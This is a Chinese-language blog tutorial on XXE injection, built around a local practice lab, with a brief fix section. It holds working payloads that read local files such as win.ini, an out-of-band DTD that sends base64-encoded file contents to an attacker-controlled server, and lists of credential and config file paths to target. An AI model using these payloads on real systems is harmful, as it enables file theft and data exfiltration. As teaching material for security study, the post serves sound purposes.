【Web常见漏洞篇】XXE 回不回显漏洞,从入门到放弃?


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

【Web常见漏洞篇】XXE 回显或不回显漏洞

0x01 XXE 靶场环境搭建

0x02 XXE 产生的原理

0x03 啥是XXE?

XML DTD(文档类型定义)

DTD数据类型

DTD实体

0x04 如何判断存在XXE?

0x05 XXE漏洞复现

1.1 有回显的情况下,有如下几种方式利用:

1.2 无回显的情况

本地搭建tomcat服务器

ngrok运行

0x05 XXE不回显演示

恶意DTD以及POC编写

实现效果

0x06 XXE 漏洞检测

0x07 XXE 修复与防御

0x08 总结



【Web常见漏洞篇】XXE 回显或不回显漏洞

0x01 XXE 靶场环境搭建

靶机地址:https://github.com/c0ny1/xxe-lab

搭建平台:VM、windows10、phpstudy

0x02 XXE 产生的原理

      XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

     XXE漏洞触发的点往往是可以上传XML文件约位置,没有对上传的XML文件进行过滤,导致可以上传恶意的XML文件。

0x03 啥是XXE?

      XXE全称XML External Entity Injection,也就是XML外部实体注入攻击,是对非安全的外部实体数据进行处理时引发的安全问题。要想搞懂XXE,肯定要先了解XML语法规则和外部实体的定义及调用形式。

      XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

      XML相关语法

      XML 是一种可扩展标记语言,被设计用来传输和存储数据。XML 的基本格式如下:

      xml文档的构建模块

  • 元素
  • 属性
  • 实体
  • PCDATA
  • CDATA

XML语法规则如下:

1. 所有的XML元素都必须有一个关闭标签

2. XML标签对大小写敏感

3. XML必须正确嵌套

4. XML属性值必须加引号””

5. 实体引用(在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如<傅好对应的实体就是lt,>符号对应的实体就是gt)

6. 在XML中,空格会被保留(案例如:<p>a空格B</p>,这时候a和B之间的空格就会被保留)

<?xml version="1.0" encoding="UTF-8"?>     // XML 声明
<!DOCTYPE copyright[                       // DTD (文档类型定义)
<!ELEMENT note  (to,reset,login)>          // 定义元素
<!ENTITY test SYSTEM "URL">                // 定义外部实体test
]>
<to>                                       
<reset>                                    // 下面为文档元素
      <login>&test;</login>                // 调用test 实体(此步骤不可或缺)
      <secret>login</secret>
</reset>
<to>

XML元素介绍

XML元素是指从(且包括)开始标签直到(且包括)结束标签的部分。

每个元素又有可以有对应的属性。XML属性必须加引号。

注意:

        (1) XML文档必须有一个根元素

        (2) XML元素都必须有一个关闭标签

        (3) XML标签对大小写敏感

        (4) XML元素必须被正确的嵌套

        (5) XML属性值必须加引号

<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>I love</to>
<from>

1、元素元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的

<title>my blog</title> 
<writer>r1ght0us is best</writer>

2、属性

<img src="r1ght0us.gif" />

3、实体
      实体是用来定义普通文本的变量。实体引用是对实体的引用

4、PCDATA
      PCDATA 的意思是被解析的字符数据(parsed character data)
      PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记

5、CDATA
      CDATA 的意思是字符数据(character data)
      CDATA 是不会被解析器解析的文本

XML DTD(文档类型定义)

      DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

1 指的是DTD文档定义

2 指的是定义了根目录学生名册地下有学生子元素

3 指的是定义了学生元素中,还有三个子元素

4 指的是定义了姓名元素,后面的PCDATA代表,姓名元素里面的字符串内容不会被解析

5 指的是XML文件内容

1、内部声明:

完整实例:

<?xml version="1.0"?><!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
</note>

2、外部声明(引用外部DTD):

<!DOCTYPE 根元素 SYSTEM "文件名">

ex:

<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>

完整实例:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
</note> 

而note.dtd的内容为:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD数据类型

  •       PCDATA的意思是被解析的字符数据/
  •       PCDATA的意思是被解析的字符数据,PCDATA是会被解析器解析的文本
  •       CDATA的意思是字符数据
  •       CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开

DTD实体

(实体定义)

    实体是用于定义引用普通文本或者特殊字符的快捷方式的变量

    在DTD中的实体类型,一般分为:内部实体和外部实体,细分又分为一般实体和参数实体。除外部参数实体引用以字符(%)开始外,其它实体都以字符(&)开始,以字符(;)结束。

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体

1、一般实体的声明语法:<!ENTITY 实体名 "实体内容“>

2、引用实体的方式:&实体名;

3、参数实体只能在DTD中使用,参数实体的声明格式:

<!ENTITY % 实体名 "实体内容“>引用实体的方式:%实体名;

4、内部实体声明: ex:<!ENTITY eviltest "eviltest">

完整实例:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "r1ght0us">
<!ENTITY BLOG "http://r1ght0us.xyz">
]>

<test>&writer;&copyright;</test>

5、外部实体声明:

完整实例:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "https://github.com/r1ght0us">
<!ENTITY handsome SYSTEM "http://www.chenguanxin.com">
]>
<author>&writer;&copyright;</author>

6、关于XML的几个注意点:

  • 所有的XML标记必须要闭合标签

  • 所有的XML的标签对大小写敏感

  • XML的属性值必须要加引号

  • 在XML中的五个符号需要实体引用

实体引用 |符号| 中文解释
 &lt    |<|   小于号
 &gt    |>|   大于号
 &amp   |&|   和号
 &apos  |'|   单引号
 &quot  |"|   双引号

0x04 如何判断存在XXE?

      最简单的办法就是用burp抓包修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞

      例如,如下截图,修改Content-Type 的值为text/xml; charset-UTF-8,从返回的数据包中,我们看到Web应用解析了XML 的内容,接受用户的输入或自定义的输入,然后有回显的的呈现到Web界面。

0x05 XXE漏洞复现

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

打开BurpSite 放到Repeater里

手工POC尝试一下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE username [
	<!ELEMENT username ANY >
	<!ENTITY admin "Agan">
]>

<user><username>&admin;</username><password>admin</password></user>

PS:

      直接读取php文件会报错,因为php文件里面有<>//等特殊字符,xml解析时候会当成xml语法来解析。这时候就分不清处哪个是真正的xml语句了,

      可以利用file协议读取PHP文件,就会产生报错。那么需要base64编码来读取

语句:

<!ENTITY agan SYSTEM "PHP://filter/read=convert.base64-encode/resource=/var/www/agan.php">

1.1 有回显的情况下,有如下几种方式利用:

补充XXE回显时,可能会用到的敏感路径话题:

Windows 下敏感路径

Windows 下敏感路径:
c:/boot.ini //查看系统版本

c:/windows/php.ini //php配置信息

c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码

c:/winnt/php.ini

c:/winnt/my.ini

c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件

//存储了pcAnywhere的登陆密码

c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件

c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

Linux/Uninx 下敏感路径

Linux/Uninx 下敏感路径:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/usr/local/app/php5/lib/php.ini //PHP相关设置

/etc/sysconfig/iptables //从中得到防火墙规则策略

/etc/httpd/conf/httpd.conf // apache配置文件

/etc/rsyncd.conf //同步程序配置文件

/etc/my.cnf //mysql的配置文件

/etc/redhat-release //系统版本

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP相关设置

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

(1)直接将外部实体引用的URI设置为敏感目录

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE username [
	<!ELEMENT username ANY >
	<!ENTITY admin SYSTEM "file:///c:/windows/win.ini">
]>

<user><username>&admin;</username><password>admin</password></user>

(2)将外部实体引用的URL设置到VPS(我们这里就因为是靶场的原因,也懒得设置VPS上,我就在本机上设置了到本地服务器上,本地构建恶意dtd 文件,远程注入)

虚拟机另起了一台机器,另起的主机IP:192.168.206.131

192.168.206.131(可以理解为是VPS的服务器)和192.168.206.146(受害者机器)可以互通

192.168.206.131(类似VPS)上搭建一个web访问环境,我这里用的phpstudy 搭建的,在网站目录下写个agan.dtd 文件,文件内容如下:

<!ENTITY admin SYSTEM "file:///c:/windows/win.ini">

此时,我们再次抓包,放到burpsuite的repeater 模块重放包试试

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE username [
	<!ELEMENT username ANY >
<!ENTITY  % aganxxe SYSTEM "http://192.168.206.131/agan.dtd" >
%aganxxe;]>
<user><username>&admin;</username><password>admin</password></user>

1.2 无回显的情况

首先我们编辑下源码,把报错和结果输出都禁止掉

      真实环境中,我们还是需要一个VPS上面搭建一个服务器,用于接收数据,因为我们这里是本机搭建的靶场,就可有可无都行。

      为什么需要一个VPS?

             是因为,我们需要一个相当于转发器(客户端)转发内网地址到外网(服务端)

ngrok

      ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。ngrok 可捕获和分析所有通道上的流量,便于后期分析和重放。

      反向代理计算机网络中是代理服务器的一种。服务器根据客户端的请求,从其关系的一组或多组后端服务器(如Web服务器)上获取资源,然后再将这些资源返回给客户端,客户端只会得知反向代理的IP地址,而不知道在代理服务器后面的服务器集群的存在。

看上面的介绍,我们已知道什么是ngrok呢?

      我这里选用的是

      Sunny-Ngrok 官网的ngrok

            官网地址:https://www.ngrok.cc/

      一条命令解决的外网访问内网问题,无需任何配置,下载客户端之后直接一条命令让外网访问您的内网不再是距离

注册

注册成功后,开通隧道-免费香港主机

如下几张图片,来自山丘安全攻防实验室文章的截图,我有点懒,懒得去截图

图片来源文章链接: https://blog.csdn.net/solitary_sen/article/details/99707618

选择http协议、隧道名称和前置域名填写自己购买的即可

然后点击隧道管理,需要记录的是隧道ID和赠送域名

客户端下载地址:https://www.ngrok.cc/download.html

根据你的操作系统选择对应的客户端。

输错的话看看,是什么样子?

再来看看,输入正确的

PS:

      有时候也会出现报错的情况(这是我们在漏洞的代码中没有屏蔽错误和警告),比如我们这里的payload没有选用php的base64编码,这里报错了,但是同时也将所读取的内容爆了出来,只是特殊字符经过了HTML实体编码。

本地搭建tomcat服务器

下载tomcat、然后修改/conf/server.xml

        <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
               prefix="localhost_access_log." suffix=".txt"
               pattern='%h %p %H %l %u %t "%r" params={%{post}r} %s %bbytes %Dms' />

修改你在创建ngrok时的端口(tomcat默认80)

port="8998" 是我自己修改的http端口
    <Connector port="8998" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" />

启动tomcat。/bin/startup.bat

ngrok运行

运行 Sunny-Ngrok启动工具.bat
然后填入刚开始记录的隧道id,点击回车

访问你自己的域名,出现tomcat说明环境搭建好了

0x06 XXE不回显演示

不回显这里,我偷懒,直接截图了,哈哈!文章链接就是开头文章已附上山丘安全实验室文章地址

恶意DTD以及POC编写

第一步:	攻击者服务器建立08.dtd并放入tomcat \webapps\ROOT\中

POC:

<!ENTITY % all 
	"<!ENTITY &#x25; send SYSTEM 'http://192.168.206.131/?%file;'>"
>
%all;

第二步: 攻击机中发送恶意XXE代码到攻击者服务器

POC:

<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">
	<!ENTITY % dtd SYSTEM "http://192.168.206.131/08.dtd">
%dtd;
%send;
]>

实现效果

攻击者服务器tomcat运行着08.dtd

抓包发送恶意XXE代码

攻击者服务器收到请求并将外带读取数据写入log文件

将带过来数据bash64解密

      无回显时,可以使用外带数据通道提取数据,先使用 filter:/// 获取目标文件的内容,然后将内容以 http 请求发送到接收数据的服务器(攻击服务器)。

      实体 remote,all,send 的引用顺序很重要,首先对 remote 引用的目的是将外部文件 evil.xml 引入到解释上下文中,然后执行 %all,这时会检测到 send 实体,在 root 节点中引用 send,就可以成功实现数据转发。

     当然,还可以进行内网探测(xxe 由于可以访问外部 url,也就有类似 ssrf 的攻击效果,同样的,也可以利用 xxe 来进行内网探测。可以先通过 file 协议读取一些配置文件来判断内网的配置以及规模,以便于编写脚本来探测内网。DDOS 攻击(通过创建一项递归的 XML 定义,在内存中生成十亿个”abc”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

0x07 XXE 漏洞检测

      最直接的办法就是,检测那些接收 xml 作为输入内容的节点。

      但是很多时候,这些节点表面看来可能不是很明显,这个时候就需要借助 burp 抓包,通过修改不同的字段,如 http 请求方法、Content-Type 头部字段等,然后看看应用程序的响应是否解析了发送的内容,如果解析了,那么就有可能有 XXE 漏洞。

0x08 XXE 修复与防御

      可以将 libxml 版本升级到 2.9.0 以后,因为 libxml 2.9.0 以后默认是不解析外部实体的;或者手动检查底层的 xml 解析库,设置为禁止解析外部实体。

0x09 总结

      XXE 的利用方式非常广,危害也非常大。除了上文提到的文件读取,还可以进行拒绝服务攻击、命令执行、SQL(XSS) 注入、内网扫描端口、入侵内网站点等,非常值得深入学习。而文章中验证 XXE 的环境,vulhub 也包含了除 XXE 之外的很多其他漏洞验证环境,如 HeartBleed 心脏出血、JBoss 反序列化、Nginx 解析漏洞等,非常适合初学者进行实践操作。

参考链接:

                  http://www.runoob.com/xml/xml-tutorial.html

                  http://vulhub.org/#/environments/php_xxe/

                  https://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA

                  https://mp.weixin.qq.com/s/ftyWcLSqeW5Ekk81WkswmQ

                  https://blog.csdn.net/solitary_sen/article/details/99707618


虽然我们生活在阴沟里,但依然有人仰望星空!


发布了182 篇原创文章 · 获赞 99 · 访问量 12万+

猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/105253739